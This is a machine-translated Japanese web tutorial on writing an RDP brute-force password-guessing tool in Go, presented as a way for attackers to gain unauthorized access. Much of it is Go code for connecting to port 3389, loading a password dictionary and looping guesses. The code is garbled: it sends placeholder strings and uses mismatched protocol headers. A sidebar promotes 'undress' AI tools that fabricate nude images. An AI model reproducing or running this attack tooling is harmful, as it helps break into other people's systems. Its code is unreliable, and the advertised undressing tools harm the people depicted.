golang は rdp ブラストを実装します
ネットワーク セキュリティの分野では、ブラストはターゲット アカウントのパスワード強度をテストするための手法です。サイバー攻撃者にとって、ブルート フォース ブルート フォースは、システムに不正にアクセスするためにターゲット アカウントのパスワードを推測することを目的とした一般的な攻撃方法です。このプロセスには多くの計算と時間が必要となることが多いため、多くのハッカーは通常、プログラミング言語を使用して攻撃ツールを実装し、爆破プロセスを簡素化および高速化することを選択します。
この記事では、Go を使用して RDP ブラスト攻撃ツールを作成する方法を説明します。主に次の点が含まれます。
- RDP プロトコルの調査
- TCP 接続と実装メッセージ送信
- パスワード辞書リストの読み取りを実施 #爆破攻撃を実施
- #RDPプロトコルの検討
- #リモート デスクトップ プロトコル (RDP) は、リモート デスクトップ プロトコルです。 Windows オペレーティング システムのネットワーク プロトコルを管理します。これにより、ローカル コンピュータ上のユーザーがネットワーク経由でリモート コンピュータに接続し、リモート コンピュータのデスクトップ セッションにアクセスして制御できるようになります。 RDP はリモート サポートやリモート デスクトップ アクセスに広く使用されていますが、ハッカーが Windows オペレーティング システムを狙う攻撃対象領域ともなります。
TCP 接続とメッセージ送信の実装
- Golang を使用して TCP 接続を確立するのは非常に簡単です。 Go は、ソケットと I/O を処理するための net パッケージを提供します。まず、 net.Dial()
conn, err := net.Dial("tcp", "rdp.example.com:3389") if err != nil { // 处理错误信息 }
RDP プロトコルのメッセージ形式を理解する必要もあります。 RDP メッセージは、ASN.1 標準に基づいたデータ構造です。通常、これらは RDP プロトコル ヘッダー、Microsoft RDPDR および MS TPKT プロトコル ヘッダーで構成されます。 RDP メッセージを構築するときは、メッセージ ヘッダーを次のように設定する必要があります。
buf := new(bytes.Buffer) // RDP 协议头 rdpHeader := RdpHeader{ Type: PDUTYPE_DATAPDU | PDUTYPE2_VALID | 0x10, Length: uint16(len(data)), SubType: 1, Compressed: 0, Authentication: 0, } // 写入 RDP 协议头 err = binary.Write(buf, binary.BigEndian, &rdpHeader) if err != nil { // 处理错误信息 } // Microsoft RDPDR 协议头 rdpdrHeader := RdpdrHeader{ Component: RDPDR_CTYP_CORE, PacketType: RDPDR_TYPE_REQUEST, PacketId: uint32(packetId), DataLength: uint32(len(data)), ExtraData: 0, Status: STATUS_SUCCESS, } // 写入 RDPDR 协议头 err = binary.Write(buf, binary.LittleEndian, &rdpdrHeader) if err != nil { // 处理错误信息 } // 写入数据 err = binary.Write(buf, binary.LittleEndian, data) if err != nil { // 处理错误信息 } // 发送数据到 RDP 服务器 _, err = conn.Write(buf.Bytes()) if err != nil { // 处理错误信息 }
buf
に書き込まれます。最後に、バッファ内のデータは、net.Dial() を通じて確立された TCP 接続に書き込まれます。
パスワード辞書リストの読み取りを実装する
- RDP ブラスト攻撃では、パスワード辞書は攻撃プロセスの最も重要な部分です。通常、パスワード辞書には、対象ユーザーのパスワードに関連する単語と文字の組み合わせが含まれています。したがって、攻撃中にこれらのパスワード辞書を使用するには、ファイルからこれらのパスワード辞書を読み取る必要があります。
os.Open()
関数を使用して開き、bufio.NewReader() 関数を使用してバッファに追加できるため、次のようにファイル行のデータを読み取ることができます。ライン 。サンプル コードは次のとおりです。
func readPasswords(passwordList string) ([]string, error) { passwords := []string{} file, err := os.Open(passwordList) if err != nil { return passwords, err } defer file.Close() scanner := bufio.NewScanner(file) for scanner.Scan() { passwords = append(passwords, scanner.Text()) } if err := scanner.Err(); err != nil { return passwords, err } return passwords, nil }
上記のコードでは、まずパスワード辞書ファイルを開き、
bufio パッケージを使用してバッファに追加します。次に、bufio.Scanner() 関数を使用して、ファイル内のすべてのデータを 1 行ずつ読み取り、それを
passwords リストに追加します。最終的に、この関数はパスワードと考えられるエラーのリストを返します。
ブラスト攻撃の実装
- パスワード辞書と RDP メッセージ送信コードを使用して、RDP ブラスト攻撃プログラムの構築を開始できます。このプログラムでは、パスワード辞書を反復処理し、考えられるパスワードをそれぞれ推測するループが必要です。
func rdpBruteForce(conn net.Conn, user string, passwordList []string) error { for _, password := range passwordList { _, err := conn.Write([]byte("some rdp message with password " + password)) if err != nil { return err } // 检查是否成功找到密码 response := make([]byte, 1024) _, err = conn.Read(response) if err != nil { return err } if bytes.Contains(response, []byte("successfully authenticated")) { fmt.Printf("Password found: %s", password) return nil } } return fmt.Errorf("Password not found in the list") }
conn.Write()
関数を使用して、次のコードに含まれるパスワードを送信します。辞書を RDP サーバーに送信し、現在のパスワードのメッセージを送信します。次に、conn.Read() 関数を使用して、サーバーから応答メッセージを受信します。メッセージに「認証に成功しました」という文字列が含まれている場合は、正しいパスワードが見つかったことを意味し、プログラムはパスワードを出力してループを終了します。パスワード辞書が正常に反復処理されてもパスワードが見つからない場合は、エラー メッセージが出力されます。
最後に、RDP 接続を実装し、次の関数を呼び出して攻撃する必要があります:
func startRdpBruteForce(ip string, user string, passwordList string) error { conn, err := net.Dial("tcp", ip+":3389") if err != nil { return err } // 发送所有 RDP 初始化消息 _, err = conn.Write([]byte("some rdp initialization messages")) if err != nil { return err } passwords, err := readPasswords(passwordList) if err != nil { return err } err = rdpBruteForce(conn, user, passwords) if err != nil { return err } return nil }
readPasswords()
関数を使用してパスワード辞書ファイルを読み取ります。最後に、rdpBruteForce() 関数を呼び出し、
conn とパスワード リストを引数として渡します。
概要
以上がgolang は rdp ブラストを実装しますの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック









OpenSSLは、安全な通信で広く使用されているオープンソースライブラリとして、暗号化アルゴリズム、キー、証明書管理機能を提供します。ただし、その歴史的バージョンにはいくつかの既知のセキュリティの脆弱性があり、その一部は非常に有害です。この記事では、Debian SystemsのOpenSSLの共通の脆弱性と対応測定に焦点を当てます。 Debianopensslの既知の脆弱性:OpenSSLは、次のようないくつかの深刻な脆弱性を経験しています。攻撃者は、この脆弱性を、暗号化キーなどを含む、サーバー上の不正な読み取りの敏感な情報に使用できます。

この記事では、プロファイリングの有効化、データの収集、CPUやメモリの問題などの一般的なボトルネックの識別など、GOパフォーマンスを分析するためにPPROFツールを使用する方法について説明します。

この記事では、GOでユニットテストを書くことで、ベストプラクティス、モッキングテクニック、効率的なテスト管理のためのツールについて説明します。

Go Crawler Collyのキュースレッドの問題は、Go言語でColly Crawler Libraryを使用する問題を調査します。 �...

バックエンド学習パス:フロントエンドからバックエンドへの探査の旅は、フロントエンド開発から変わるバックエンド初心者として、すでにNodeJSの基盤を持っています...

この記事では、go.modを介してGOモジュールの依存関係の管理、仕様、更新、競合解決をカバーすることについて説明します。セマンティックバージョンや定期的な更新などのベストプラクティスを強調しています。

この記事では、GOでテーブル駆動型のテストを使用して説明します。これは、テストのテーブルを使用して複数の入力と結果を持つ関数をテストする方法です。読みやすさの向上、重複の減少、スケーラビリティ、一貫性、および
